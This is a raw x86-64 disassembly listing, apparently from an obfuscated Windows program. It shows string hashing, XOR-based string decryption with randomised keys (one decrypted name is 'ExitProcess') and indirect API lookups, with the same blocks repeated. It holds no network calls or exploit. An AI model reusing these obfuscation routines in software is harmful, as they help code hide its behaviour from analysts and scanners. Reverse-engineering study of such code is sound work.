mov qword [rbp + 0x2e0], rcx
mov rdx, qword [rsp + 0x58]
lea rcx, [rbp + 0x2c0]
call fcn.14000a2a0
nop
mov rcx, qword [rsp + 0x58]
call fcn.1400099b4
nop
lea rcx, [rbp + 0x230]
call fcn.1400099b4
nop
lea rcx, [rbp + 0x1f0]
call fcn.1400099b4
nop
lea rdx, [rbp + 0x2c0]
cmp qword [rbp + 0x2d8], 0x10
cmovae rdx, qword [rbp + 0x2c0]
cmp byte [0x1406a2d01], 0
movabs r13, 0xfae9e8d7c6b5a493
jne 0x140048afe
movabs r8, 0xfeeddccbbaa99887
lea rcx, [0x1406a3110]
lea rbx, [0x1406a3908]
movabs r9, 0xababdbf33353735b
mov r12d, 0xffffffff
mov rax, r8
xor rax, r9
mov qword [rcx], rax
sub r8, r12
add rcx, 8
cmp rcx, rbx
jl 0x140048adb
mov esi, 1
mov byte [0x1406a2d01], sil
jmp 0x140048b03
mov esi, 1
lea rbx, [0x1406a3110]
mov qword [rsp + 0x50], r13
xor r11d, r11d
mov r9, r13
mov r8, qword [rbp + 0x2d0]
test r8, r8
je 0x140048b5e
mov r10, rdx
xor r9d, r9d
mov cl, byte [r10]
lea rax, [rsp + 0x50]
xor byte [rax], cl
add r9d, esi
add rax, rsi
cmp r9d, 8
jb 0x140048b2f
not cl
movzx eax, cl
mov r9, qword [rsp + 0x50]
xor r9, qword [rbx + rax*8]
mov qword [rsp + 0x50], r9
add r11d, esi
add r10, rsi
movsxd rax, r11d
cmp rax, r8
jb 0x140048b24
movabs rdi, 0xaebdccdb0a192837
movzx r14d, byte [rdx]
cmp r8, rsi
jbe 0x140048b78
mov bl, byte [r8 + rdx - 1]
jmp 0x140048b7a
mov bl, 0xae
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r8
xor eax, eax
mov cl, r8b
mov dl, r8b
xor cl, r14b
xor dl, bl
add eax, esi
cmp eax, 8
jb 0x140048b8c
mov byte [rsp + 0x60], cl
mov byte [rsp + 0x68], dl
xor sil, sil
xor r10d, r10d
lea r15, [r8*8]
xor r11d, r11d
lea r12d, [r10 + 1]
mov r13, rdi
mov eax, r10d
test r10d, r10d
cmove eax, r12d
shl eax, 3
movsxd rcx, eax
xor edx, edx
mov rax, r15
div rcx
mov rcx, rdx
mov rax, r8
shl rax, cl
xor rdi, rax
xor rdi, r13
mov qword [rsp + 0x70], rdi
mov al, byte [rsp + r11 + 0x70]
xor byte [rsp + r11 + 0x50], al
lea eax, [r10*8]
mov edx, 8
test eax, eax
cmovg edx, eax
mov ecx, 0x40
sub ecx, edx
mov rdx, qword [rsp + 0x60]
xor sil, r12b
cmovne rdx, qword [rsp + 0x68]
shl rdx, cl
xor rdx, qword [rsp + 0x50]
mov qword [rsp + 0x50], rdx
add r10d, r12d
add r11, r12
cmp r10d, 8
jb 0x140048bb8
movzx eax, bl
imul r8, rax, 0xff
not r8
mov rax, r14
shl rax, 7
sub r8, rax
and r9, rdx
xor r8, r9
mov rdx, qword [rbp + 0x2e0]
cmp r8, rdx
movabs r13, 0xfae9e8d7c6b5a493
movabs r12, 0xfeeddccbbaa99887
je 0x140048c8a
mov rbx, qword [0x1406a3908]
lea rcx, [rbp + 0x338]
call fcn.14002d4ec
lea rdx, [rbp + 0x2c0]
mov rcx, rax
call rbx
lea rdx, [rbp + 0x2c0]
lea rcx, [rbp + 0x1f0]
call fcn.14002b864
nop
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x210]
call fcn.14002b864
mov r15, qword [rbp + 0x220]
lea rdi, [rbp + 0x210]
cmp qword [rbp + 0x228], 0x10
cmovae rdi, qword [rbp + 0x210]
mov qword [rsp + 0x70], rdi
mov r14d, 1
cmp byte [0x1406a2b50], 0
jne 0x140048ede
xor esi, esi
lea r13, [0x140000000]
movabs rdi, 0x101010101010101
lea rcx, [rsp + 0x58]
call fcn.140063754
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, qword [rsp + 0x58]
cqo
idiv rcx
mov rax, rdx
cqo
and edx, 0xf
add rax, rdx
and eax, 0xf
sub rax, rdx
add rax, r14
xor rax, 0x10
shl rax, 0xa
or rax, rdi
mov qword [rsi + r13 + 0x6a2b60], rax
lea rcx, [rbp - 0x70]
call fcn.140063754
mov rbx, qword [rax]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, rbx
cqo
idiv rcx
mov rax, rdx
cqo
and edx, 0x1f
add rax, rdx
and eax, 0x1f
sub rax, rdx
add rax, r14
xor rax, 0x20
shl rax, 0xb
or rax, rdi
mov qword [rsi + r13 + 0x6a2be0], rax
lea rcx, [rbp - 0x78]
call fcn.140063754
mov rbx, qword [rax]
mov qword [rsp + 0x58], rbx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, rbx
cqo
idiv rcx
mov rax, rdx
cqo
and edx, 0x3f
add rax, rdx
and eax, 0x3f
sub rax, rdx
add rax, r14
xor rax, 0x40
shl rax, 0xc
or rax, rdi
mov qword [rsi + r13 + 0x6a2c60], rax
add rsi, 8
cmp rsi, 0x80
jl 0x140048cfa
lea rcx, [rsp + 0x58]
call fcn.140063754
xor ebx, ebx
lea rsi, [0x1406a2ce0]
mov rdi, qword [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x8000000f
jge 0x140048e0a
sub eax, r14d
or eax, 0xfffffff0
add eax, r14d
add al, r14b
movsx rcx, al
mov rax, qword [rsp + 0x58]
cqo
idiv rcx
mov byte [rsi], dl
add ebx, r14d
add rsi, r14
cmp ebx, 4
jb 0x140048df4
lea rcx, [rbp - 0x60]
call fcn.140063754
mov rbx, qword [rax]
xor esi, esi
lea r14, [0x1406a2ce8]
lea r13d, [rsi + 1]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x8000000f
jge 0x140048e57
sub eax, r13d
or eax, 0xfffffff0
add eax, r13d
add al, r13b
movsx rcx, al
mov rax, rbx
cqo
idiv rcx
mov byte [r14], dl
add esi, r13d
add r14, r13
cmp esi, 8
jb 0x140048e41
lea rcx, [rbp - 0x68]
call fcn.140063754
mov rbx, qword [rax]
xor esi, esi
lea r14, [0x1406a2cf0]
movabs r13, 0xfae9e8d7c6b5a493
lea r12d, [rsi + 1]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x8000000f
jge 0x140048ead
sub eax, r12d
or eax, 0xfffffff0
add eax, r12d
add al, r12b
movsx rcx, al
mov rax, rbx
cqo
idiv rcx
mov byte [r14], dl
add esi, r12d
add r14, r12
cmp esi, 0xc
jb 0x140048e97
mov r14, r12
mov byte [0x1406a2b50], r14b
movabs r12, 0xfeeddccbbaa99887
test r15, r15
je 0x140048fb8
xor ebx, ebx
test r15, r15
je 0x140048fb8
lea rsi, [0x140000000]
xor r8d, r8d
mov dl, byte [rdi]
lea r11, [0x1406a2ce0]
xor r9d, r9d
xor r10d, r10d
movzx eax, byte [r11]
lea rcx, [r10 + rax*8]
xor dl, byte [rcx + rsi + 0x6a2b60]
mov byte [rdi], dl
add r9d, r14d
add r10, r14
cmp r9d, 8
jb 0x140048f0b
add r8d, r14d
add r11, r14
cmp r8d, 4
jb 0x140048f05
xor r10d, r10d
lea r11, [0x1406a2ce8]
xor r8d, r8d
xor r9d, r9d
movzx eax, byte [r11]
lea rcx, [r9 + rax*8]
xor dl, byte [rcx + rsi + 0x6a2be0]
mov byte [rdi], dl
add r8d, r14d
add r9, r14
cmp r8d, 8
jb 0x140048f44
add r10d, r14d
add r11, r14
cmp r10d, 8
jb 0x140048f3e
xor r8d, r8d
lea r9, [0x1406a2cf0]
xor r10d, r10d
xor r11d, r11d
movzx eax, byte [r9]
lea rcx, [r11 + rax*8]
xor dl, byte [rcx + rsi + 0x6a2b60]
mov byte [rdi], dl
add r10d, r14d
add r11, r14
cmp r10d, 8
jb 0x140048f7d
add r8d, r14d
add r9, r14
cmp r8d, 0xc
jb 0x140048f77
add ebx, r14d
add rdi, r14
movsxd rax, ebx
cmp rax, r15
jb 0x140048ef9
lea rcx, [rbp + 0x1f0]
call fcn.1400099b4
lea rdx, [rbp + 0x210]
cmp qword [rbp + 0x228], 0x10
cmovae rdx, qword [rbp + 0x210]
mov rcx, qword [rbp - 0x80]
call qword [0x14021d100]
mov qword [rbp + 0x88], rax
lea rcx, [rbp + 0x210]
call fcn.1400099b4
nop
lea rcx, [rbp + 0x2c0]
call fcn.14002f208
lea rax, [rbp + 0x2e8]
mov qword [rbp - 0x70], rax
lea rdx, [0x14021dd9e]
lea rcx, [rbp + 0x2e8]
call fcn.14002b89c
nop
xor eax, eax
mov qword [rbp + 0x308], rax
cmp byte [0x1406a3910], al
jne 0x14004904a
lea rax, [0x14006b26c]
mov qword [0x1406a3908], rax
mov byte [0x1406a3910], r14b
lea rdx, [0x14021dd9e]
lea rcx, [rbp + 0x1f0]
call fcn.14002b89c
mov qword [rsp + 0x58], rax
mov r8, qword [rax + 0x10]
mov rdx, rax
cmp qword [rax + 0x18], 0x10
jb 0x140049073
mov rdx, qword [rax]
cmp byte [0x1406a2d01], 0
jne 0x1400490b8
mov r9, r12
lea rcx, [0x1406a3110]
lea rdi, [0x1406a3908]
mov ebx, 0xffffffff
movabs r10, 0xababdbf33353735b
mov rax, r9
xor rax, r10
mov qword [rcx], rax
sub r9, rbx
add rcx, 8
cmp rcx, rdi
jl 0x14004909c
mov byte [0x1406a2d01], r14b
lea rdi, [0x1406a3110]
mov qword [rsp + 0x50], r13
xor r11d, r11d
mov r9, r13
test r8, r8
je 0x14004910c
mov r10, rdx
xor r9d, r9d
mov cl, byte [r10]
lea rax, [rsp + 0x50]
xor byte [rax], cl
add r9d, r14d
add rax, r14
cmp r9d, 8
jb 0x1400490dd
not cl
movzx eax, cl
mov r9, qword [rsp + 0x50]
xor r9, qword [rdi + rax*8]
mov qword [rsp + 0x50], r9
add r11d, r14d
add r10, r14
movsxd rax, r11d
cmp rax, r8
jb 0x1400490d2
movabs rsi, 0xaebdccdb0a192837
movzx r15d, byte [rdx]
cmp r8, r14
jbe 0x140049126
mov dil, byte [rdx + r8 - 1]
jmp 0x140049129
mov dil, 0xae
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r8
xor eax, eax
mov cl, r8b
mov dl, r8b
xor cl, r15b
xor dl, dil
add eax, r14d
cmp eax, 8
jb 0x14004913b
mov byte [rsp + 0x60], cl
mov byte [rsp + 0x68], dl
xor r14b, r14b
xor r10d, r10d
lea r12, [r8*8]
xor r11d, r11d
mov rbx, rsi
lea r13d, [r10 + 1]
mov eax, r10d
test r10d, r10d
cmove eax, r13d
shl eax, 3
movsxd rcx, eax
xor edx, edx
mov rax, r12
div rcx
mov rcx, rdx
mov rax, r8
shl rax, cl
xor rsi, rax
xor rsi, rbx
mov qword [rsp + 0x70], rsi
mov al, byte [rsp + r11 + 0x70]
xor byte [rsp + r11 + 0x50], al
lea eax, [r10*8]
mov edx, 8
test eax, eax
cmovg edx, eax
mov ecx, 0x40
sub ecx, edx
mov rdx, qword [rsp + 0x60]
xor r14b, r13b
cmovne rdx, qword [rsp + 0x68]
shl rdx, cl
xor rdx, qword [rsp + 0x50]
mov qword [rsp + 0x50], rdx
add r10d, r13d
add r11, r13
cmp r10d, 8
jb 0x140049169
movzx eax, dil
imul rcx, rax, 0xff
not rcx
mov rax, r15
shl rax, 7
sub rcx, rax
and rdx, r9
xor rcx, rdx
mov qword [rbp + 0x308], rcx
mov rdx, qword [rsp + 0x58]
lea rcx, [rbp + 0x2e8]
call fcn.14000a2a0
nop
mov rcx, qword [rsp + 0x58]
call fcn.1400099b4
nop
cmp byte [0x1406a3911], 0
movabs r13, 0xfae9e8d7c6b5a493
mov r12d, 1
jne 0x14004924f
lea rax, [0x14006b26c]
mov qword [0x1406a3908], rax
mov byte [0x1406a3911], r12b
lea rdx, str.ExitProcess
lea rcx, [rbp + 0x338]
call fcn.14002b89c
nop
mov rdx, rax
lea rcx, [rbp + 0x230]
call fcn.14002b864
mov r15, qword [rbp + 0x240]
lea rdi, [rbp + 0x230]
cmp qword [rbp + 0x248], 0x10
cmovae rdi, qword [rbp + 0x230]
cmp byte [0x1406a2b50], 0
jne 0x14004947a
xor esi, esi
lea r14, [0x140000000]
movabs r13, 0x101010101010101
lea rcx, [rsp + 0x58]
call fcn.140063754
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, qword [rsp + 0x58]
cqo
idiv rcx
mov rax, rdx
cqo
and edx, 0xf
add rax, rdx
and eax, 0xf
sub rax, rdx
add rax, r12
xor rax, 0x10
shl rax, 0xa
or rax, r13
mov qword [rsi + r14 + 0x6a2b60], rax
lea rcx, [rbp - 0x70]
call fcn.140063754
mov rbx, qword [rax]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, rbx
cqo
idiv rcx
mov rax, rdx
cqo
and edx, 0x1f
add rax, rdx
and eax, 0x1f
sub rax, rdx
add rax, r12
xor rax, 0x20
shl rax, 0xb
or rax, r13
mov qword [rsi + r14 + 0x6a2be0], rax
lea rcx, [rbp - 0x78]
call fcn.140063754
mov rbx, qword [rax]
mov qword [rsp + 0x58], rbx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, rbx
cqo
idiv rcx
mov rax, rdx
cqo
and edx, 0x3f
add rax, rdx
and eax, 0x3f
sub rax, rdx
add rax, r12
xor rax, 0x40
shl rax, 0xc
or rax, r13
mov qword [rsi + r14 + 0x6a2c60], rax
add rsi, 8
cmp rsi, 0x80
jl 0x1400492b0
lea rcx, [rsp + 0x70]
call fcn.140063754
xor ebx, ebx
lea rsi, [0x1406a2ce0]
movabs r13, 0xfae9e8d7c6b5a493
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x8000000f
jge 0x1400493c5
sub eax, r12d
or eax, 0xfffffff0
add eax, r12d
add al, r12b
movsx rcx, al
mov rax, qword [rsp + 0x70]
cqo
idiv rcx
mov byte [rsi], dl
add ebx, r12d
add rsi, r12
cmp ebx, 4
jb 0x1400493af
lea rcx, [rbp - 0x60]
call fcn.140063754
mov rbx, qword [rax]
xor esi, esi
lea r14, [0x1406a2ce8]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x8000000f
jge 0x14004940e
sub eax, r12d
or eax, 0xfffffff0
add eax, r12d
add al, r12b
movsx rcx, al
mov rax, rbx
cqo
idiv rcx
mov byte [r14], dl
add esi, r12d
add r14, r12
cmp esi, 8
jb 0x1400493f8
lea rcx, [rbp - 0x68]
call fcn.140063754
mov rbx, qword [rax]
xor esi, esi
lea r14, [0x1406a2cf0]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x8000000f
jge 0x140049456
sub eax, r12d
or eax, 0xfffffff0
add eax, r12d
add al, r12b
movsx rcx, al
mov rax, rbx
cqo
idiv rcx
mov byte [r14], dl
add esi, r12d
add r14, r12
cmp esi, 0xc
jb 0x140049440
mov byte [0x1406a2b50], r12b
test r15, r15
je 0x140049554
xor ebx, ebx
test r15, r15
je 0x140049554
lea rsi, [0x140000000]
xor r8d, r8d
mov dl, byte [rdi]
lea r11, [0x1406a2ce0]
xor r9d, r9d
xor r10d, r10d
movzx eax, byte [r11]
lea rcx, [r10 + rax*8]
xor dl, byte [rcx + rsi + 0x6a2b60]
mov byte [rdi], dl
add r9d, r12d
add r10, r12
cmp r9d, 8
jb 0x1400494a7
add r8d, r12d
add r11, r12
cmp r8d, 4
jb 0x1400494a1
xor r10d, r10d
lea r11, [0x1406a2ce8]
xor r8d, r8d
xor r9d, r9d
movzx eax, byte [r11]
lea rcx, [r9 + rax*8]
xor dl, byte [rcx + rsi + 0x6a2be0]
mov byte [rdi], dl
add r8d, r12d
add r9, r12
cmp r8d, 8
jb 0x1400494e0
add r10d, r12d
add r11, r12
cmp r10d, 8
jb 0x1400494da
xor r8d, r8d
lea r9, [0x1406a2cf0]
xor r10d, r10d
xor r11d, r11d
movzx eax, byte [r9]
lea rcx, [r11 + rax*8]
xor dl, byte [rcx + rsi + 0x6a2b60]
mov byte [rdi], dl
add r10d, r12d
add r11, r12
cmp r10d, 8
jb 0x140049519
add r8d, r12d
add r9, r12
cmp r8d, 0xc
jb 0x140049513
add ebx, r12d
add rdi, r12
movsxd rax, ebx
cmp rax, r15
jb 0x140049495
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0x1d0]
call fcn.14002b864
mov qword [rsp + 0x58], rax
mov r8, qword [rax + 0x10]
mov rdx, rax
cmp qword [rax + 0x18], 0x10
jb 0x14004957d
mov rdx, qword [rax]
cmp byte [0x1406a2d01], 0
jne 0x1400495c9
movabs r9, 0xfeeddccbbaa99887
lea rcx, [0x1406a3110]
lea rdi, [0x1406a3908]
mov ebx, 0xffffffff
movabs r10, 0xababdbf33353735b
mov rax, r9
xor rax, r10
mov qword [rcx], rax
sub r9, rbx
add rcx, 8
cmp rcx, rdi
jl 0x1400495ad
mov byte [0x1406a2d01], r12b
lea rdi, [0x1406a3110]
mov qword [rsp + 0x50], r13
xor r11d, r11d
mov r9, r13
test r8, r8
je 0x14004961d
mov r10, rdx
xor r9d, r9d
mov cl, byte [r10]
lea rax, [rsp + 0x50]
xor byte [rax], cl
add r9d, r12d
add rax, r12
cmp r9d, 8
jb 0x1400495ee
not cl
movzx eax, cl
mov r9, qword [rsp + 0x50]
xor r9, qword [rdi + rax*8]
mov qword [rsp + 0x50], r9
add r11d, r12d
add r10, r12
movsxd rax, r11d
cmp rax, r8
jb 0x1400495e3
movabs rsi, 0xaebdccdb0a192837
movzx r15d, byte [rdx]
cmp r8, r12
jbe 0x140049637
mov dil, byte [rdx + r8 - 1]
jmp 0x14004963a
mov dil, 0xae
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r8
xor eax, eax
mov cl, r8b
mov dl, r8b
xor cl, r15b
xor dl, dil
add eax, r12d
cmp eax, 8
jb 0x14004964c
mov byte [rsp + 0x60], cl
mov byte [rsp + 0x68], dl
xor r14b, r14b
xor r10d, r10d
lea r12, [r8*8]
xor r11d, r11d
mov rbx, rsi
lea r13d, [r10 + 1]
mov eax, r10d
test r10d, r10d
cmove eax, r13d
shl eax, 3
movsxd rcx, eax
xor edx, edx
mov rax, r12
div rcx
mov rcx, rdx
mov rax, r8
shl rax, cl
xor rsi, rax
xor rsi, rbx
mov qword [rsp + 0x70], rsi
mov al, byte [rsp + r11 + 0x70]
xor byte [rsp + r11 + 0x50], al
lea eax, [r10*8]
mov edx, 8
test eax, eax
cmovg edx, eax
mov ecx, 0x40
sub ecx, edx
mov rdx, qword [rsp + 0x60]
xor r14b, r13b
cmovne rdx, qword [rsp + 0x68]
shl rdx, cl
xor rdx, qword [rsp + 0x50]
mov qword [rsp + 0x50], rdx
add r10d, r13d
add r11, r13
cmp r10d, 8
jb 0x14004967a
movzx eax, dil
imul rcx, rax, 0xff
not rcx
mov rax, r15
shl rax, 7
sub rcx, rax
and r9, rdx
xor rcx, r9
mov qword [rbp + 0x308], rcx
mov rdx, qword [rsp + 0x58]
lea rcx, [rbp + 0x2e8]
call fcn.14000a2a0
nop
mov rcx, qword [rsp + 0x58]
call fcn.1400099b4
nop
lea rcx, [rbp + 0x230]
call fcn.1400099b4
nop
lea rcx, [rbp + 0x338]
call fcn.1400099b4
nop
lea rdx, [rbp + 0x2e8]
cmp qword [rbp + 0x300], 0x10
cmovae rdx, qword [rbp + 0x2e8]
cmp byte [0x1406a2d01], 0
movabs r13, 0xfae9e8d7c6b5a493
jne 0x1400497c1
movabs r8, 0xfeeddccbbaa99887
lea rcx, [0x1406a3110]
lea rbx, [0x1406a3908]
movabs r9, 0xababdbf33353735b
mov r12d, 0xffffffff
mov rax, r8
xor rax, r9
mov qword [rcx], rax
sub r8, r12
add rcx, 8
cmp rcx, rbx
jl 0x14004979e
mov esi, 1
mov byte [0x1406a2d01], sil
jmp 0x1400497c6
mov esi, 1
lea rbx, [0x1406a3110]
mov qword [rsp + 0x50], r13
xor r11d, r11d
mov r9, r13
mov r8, qword [rbp + 0x2f8]
test r8, r8
je 0x140049821
mov r10, rdx
xor r9d, r9d
mov cl, byte [r10]
lea rax, [rsp + 0x50]
xor byte [rax], cl
add r9d, esi
add rax, rsi
cmp r9d, 8
jb 0x1400497f2
not cl
movzx eax, cl
mov r9, qword [rsp + 0x50]
xor r9, qword [rbx + rax*8]
mov qword [rsp + 0x50], r9
add r11d, esi
add r10, rsi
movsxd rax, r11d
cmp rax, r8
jb 0x1400497e7
movabs rdi, 0xaebdccdb0a192837
movzx r14d, byte [rdx]
cmp r8, rsi
jbe 0x14004983b
mov bl, byte [r8 + rdx - 1]
jmp 0x14004983d
mov bl, 0xae
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r8
xor eax, eax
mov cl, r8b
mov dl, r8b
xor cl, r14b
xor dl, bl
add eax, esi
cmp eax, 8
jb 0x14004984f
mov byte [rsp + 0x60], cl
mov byte [rsp + 0x68], dl
xor sil, sil
xor r10d, r10d
lea r15, [r8*8]
xor r11d, r11d
lea r12d, [r10 + 1]
mov r13, rdi
mov eax, r10d
test r10d, r10d
cmove eax, r12d
shl eax, 3
movsxd rcx, eax
xor edx, edx
mov rax, r15
div rcx
mov rcx, rdx
mov rax, r8
shl rax, cl
xor rdi, rax
xor rdi, r13
mov qword [rsp + 0x70], rdi
mov al, byte [rsp + r11 + 0x70]
xor byte [rsp + r11 + 0x50], al
lea eax, [r10*8]
mov edx, 8
test eax, eax
cmovg edx, eax
mov ecx, 0x40
sub ecx, edx
mov rdx, qword [rsp + 0x60]
xor sil, r12b
cmovne rdx, qword [rsp + 0x68]
shl rdx, cl
xor rdx, qword [rsp + 0x50]
mov qword [rsp + 0x50], rdx
add r10d, r12d
add r11, r12
cmp r10d, 8
jb 0x14004987b
movzx eax, bl
imul r8, rax, 0xff
not r8
mov rax, r14
shl rax, 7
sub r8, rax
and rdx, r9
xor r8, rdx
mov rdx, qword [rbp + 0x308]
cmp r8, rdx
movabs r13, 0xfae9e8d7c6b5a493
movabs r12, 0xfeeddccbbaa99887
je 0x14004994a
mov rbx, qword [0x1406a3908]
lea rcx, [rbp - 0x28]
call fcn.14002d4ec
lea rdx, [rbp + 0x2e8]
mov rcx, rax
call rbx
lea rdx, [rbp + 0x2e8]
lea rcx, [rbp + 0x210]
call fcn.14002b864
nop
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x1b0]
call fcn.14002b864
mov r15, qword [rbp + 0x1c0]
lea rdi, [rbp + 0x1b0]
cmp qword [rbp + 0x1c8], 0x10
cmovae rdi, qword [rbp + 0x1b0]
mov qword [rsp + 0x70], rdi
mov r14d, 1
cmp byte [0x1406a2b50], 0
jne 0x140049b9e
xor esi, esi
lea r13, [0x140000000]
movabs rdi, 0x101010101010101
lea rcx, [rsp + 0x58]
call fcn.140063754
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, qword [rsp + 0x58]
cqo
idiv rcx
mov rax, rdx
cqo
and edx, 0xf
add rax, rdx
and eax, 0xf
sub rax, rdx
add rax, r14
xor rax, 0x10
shl rax, 0xa
or rax, rdi
mov qword [rsi + r13 + 0x6a2b60], rax
lea rcx, [rbp - 0x70]
call fcn.140063754
mov rbx, qword [rax]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, rbx
cqo
idiv rcx
mov rax, rdx
cqo
and edx, 0x1f
add rax, rdx
and eax, 0x1f
sub rax, rdx
add rax, r14
xor rax, 0x20
shl rax, 0xb
or rax, rdi
mov qword [rsi + r13 + 0x6a2be0], rax
lea rcx, [rbp - 0x78]
call fcn.140063754
mov rbx, qword [rax]
mov qword [rsp + 0x58], rbx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, rbx
cqo
idiv rcx
mov rax, rdx
cqo
and edx, 0x3f
add rax, rdx
and eax, 0x3f
sub rax, rdx
add rax, r14
xor rax, 0x40
shl rax, 0xc
or rax, rdi
mov qword [rsi + r13 + 0x6a2c60], rax
add rsi, 8
cmp rsi, 0x80
jl 0x1400499ba
lea rcx, [rsp + 0x58]
call fcn.140063754
xor ebx, ebx
lea rsi, [0x1406a2ce0]
mov rdi, qword [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x8000000f
jge 0x140049aca
sub eax, r14d
or eax, 0xfffffff0
add eax, r14d
add al, r14b
movsx rcx, al
mov rax, qword [rsp + 0x58]
cqo
idiv rcx
mov byte [rsi], dl
add ebx, r14d
add rsi, r14
cmp ebx, 4
jb 0x140049ab4
lea rcx, [rbp - 0x60]
call fcn.140063754
mov rbx, qword [rax]
xor esi, esi
lea r14, [0x1406a2ce8]
lea r13d, [rsi + 1]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x8000000f
jge 0x140049b17
sub eax, r13d
or eax, 0xfffffff0
add eax, r13d
add al, r13b
movsx rcx, al
mov rax, rbx
cqo
idiv rcx
mov byte [r14], dl
add esi, r13d
add r14, r13
cmp esi, 8
jb 0x140049b01
lea rcx, [rbp - 0x68]
call fcn.140063754
mov rbx, qword [rax]
xor esi, esi
lea r14, [0x1406a2cf0]
movabs r13, 0xfae9e8d7c6b5a493
lea r12d, [rsi + 1]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x8000000f
jge 0x140049b6d
sub eax, r12d
or eax, 0xfffffff0
add eax, r12d
add al, r12b
movsx rcx, al
mov rax, rbx
cqo
idiv rcx
mov byte [r14], dl
add esi, r12d
add r14, r12
cmp esi, 0xc
jb 0x140049b57
mov r14, r12
mov byte [0x1406a2b50], r14b
movabs r12, 0xfeeddccbbaa99887
test r15, r15
je 0x140049c78
xor ebx, ebx
test r15, r15
je 0x140049c78
lea rsi, [0x140000000]
xor r8d, r8d
mov dl, byte [rdi]
lea r11, [0x1406a2ce0]
xor r9d, r9d
xor r10d, r10d
movzx eax, byte [r11]
lea rcx, [r10 + rax*8]
xor dl, byte [rcx + rsi + 0x6a2b60]
mov byte [rdi], dl
add r9d, r14d
add r10, r14
cmp r9d, 8
jb 0x140049bcb
add r8d, r14d
add r11, r14
cmp r8d, 4
jb 0x140049bc5
xor r10d, r10d
lea r11, [0x1406a2ce8]
xor r8d, r8d
xor r9d, r9d
movzx eax, byte [r11]
lea rcx, [r9 + rax*8]
xor dl, byte [rcx + rsi + 0x6a2be0]
mov byte [rdi], dl
add r8d, r14d
add r9, r14
cmp r8d, 8
jb 0x140049c04
add r10d, r14d
add r11, r14
cmp r10d, 8
jb 0x140049bfe
xor r8d, r8d
lea r9, [0x1406a2cf0]
xor r10d, r10d
xor r11d, r11d
movzx eax, byte [r9]
lea rcx, [r11 + rax*8]
xor dl, byte [rcx + rsi + 0x6a2b60]
mov byte [rdi], dl
add r10d, r14d
add r11, r14
cmp r10d, 8
jb 0x140049c3d
add r8d, r14d
add r9, r14
cmp r8d, 0xc
jb 0x140049c37
add ebx, r14d
add rdi, r14
movsxd rax, ebx
cmp rax, r15
jb 0x140049bb9
lea rcx, [rbp + 0x210]
call fcn.1400099b4
lea rdx, [rbp + 0x1b0]
cmp qword [rbp + 0x1c8], 0x10
cmovae rdx, qword [rbp + 0x1b0]
mov rcx, qword [rbp - 0x80]
call qword [0x14021d100]
mov qword [rbp + 0x98], rax
lea rcx, [rbp + 0x1b0]
call fcn.1400099b4
nop
lea rcx, [rbp + 0x2e8]
call fcn.14002f208
lea rax, [rbp + 0x310]
mov qword [rbp - 0x70], rax
lea rdx, [0x14021dd9e]
lea rcx, [rbp + 0x310]
call fcn.14002b89c
nop
xor eax, eax
mov qword [rbp + 0x330], rax
cmp byte [0x1406a3910], al
jne 0x140049d0a
lea rax, [0x14006b26c]
mov qword [0x1406a3908], rax
mov byte [0x1406a3910], r14b
lea rdx, [0x14021dd9e]
lea rcx, [rbp + 0x338]
call fcn.14002b89c
mov qword [rsp + 0x58], rax
mov r8, qword [rax + 0x10]
mov rdx, rax
cmp qword [rax + 0x18], 0x10
jb 0x140049d33
mov rdx, qword [rax]
cmp byte [0x1406a2d01], 0
jne 0x140049d78
mov r9, r12
lea rcx, [0x1406a3110]
lea rdi, [0x1406a3908]
mov ebx, 0xffffffff
movabs r10, 0xababdbf33353735b
mov rax, r9
xor rax, r10
mov qword [rcx], rax
sub r9, rbx
add rcx, 8
cmp rcx, rdi
jl 0x140049d5c
mov byte [0x1406a2d01], r14b
lea rdi, [0x1406a3110]
mov qword [rsp + 0x50], r13
xor r11d, r11d
mov r9, r13
test r8, r8
je 0x140049dcc
mov r10, rdx
xor r9d, r9d
mov cl, byte [r10]
lea rax, [rsp + 0x50]
xor byte [rax], cl
add r9d, r14d
add rax, r14
cmp r9d, 8
jb 0x140049d9d
not cl
movzx eax, cl
mov r9, qword [rsp + 0x50]
xor r9, qword [rdi + rax*8]
mov qword [rsp + 0x50], r9
add r11d, r14d
add r10, r14
movsxd rax, r11d
cmp rax, r8
jb 0x140049d92
movabs rsi, 0xaebdccdb0a192837
movzx r15d, byte [rdx]
cmp r8, r14
jbe 0x140049de6
mov dil, byte [r8 + rdx - 1]
jmp 0x140049de9
mov dil, 0xae
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r8
xor eax, eax
mov cl, r8b
mov dl, r8b
xor cl, r15b
